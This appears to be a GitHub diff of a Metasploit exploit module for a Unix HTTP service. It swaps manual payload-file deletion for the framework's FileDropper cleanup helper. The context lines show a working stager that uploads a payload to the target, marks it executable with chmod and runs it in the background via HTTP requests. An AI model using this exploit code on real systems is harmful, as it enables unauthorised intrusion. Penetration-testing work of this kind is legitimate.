File tree Expand file tree Collapse file tree 1 file changed +2
-8
lines changed
modules/exploits/unix/http Expand file tree Collapse file tree 1 file changed +2
-8
lines changed Original file line number Diff line number Diff line change @@ -10,6 +10,7 @@ class Metasploit3 < Msf::Exploit::Remote
10
10
11
11
include Msf ::Exploit ::Remote ::HttpClient
12
12
include Msf ::Exploit ::EXE
13
+ include Msf ::Exploit ::FileDropper
13
14
14
15
def initialize ( info = { } )
15
16
super ( update_info ( info ,
@@ -123,7 +124,7 @@ def unix_stager(data)
123
124
124
125
File . open ( file_name , 'wb' ) { |f | f . write ( data ) }
125
126
unix_upload ( file_name , data )
126
- @to_delete = file_name
127
+ register_file_for_cleanup ( file_name )
127
128
128
129
request ( "/bin/chmod +x #{ file_name } " )
129
130
request ( "#{ file_name } &" )
@@ -213,11 +214,4 @@ def exploit
213
214
214
215
unix_stager ( @pl )
215
216
end
216
-
217
- def on_new_session ( client )
218
- return unless defined? @to_delete
219
-
220
- print_warning ( "Deleting #{ @to_delete } payload file" )
221
- request ( "/bin/rm #{ @to_delete } " )
222
- end
223
217
end
You can’t perform that action at this time.
0 commit comments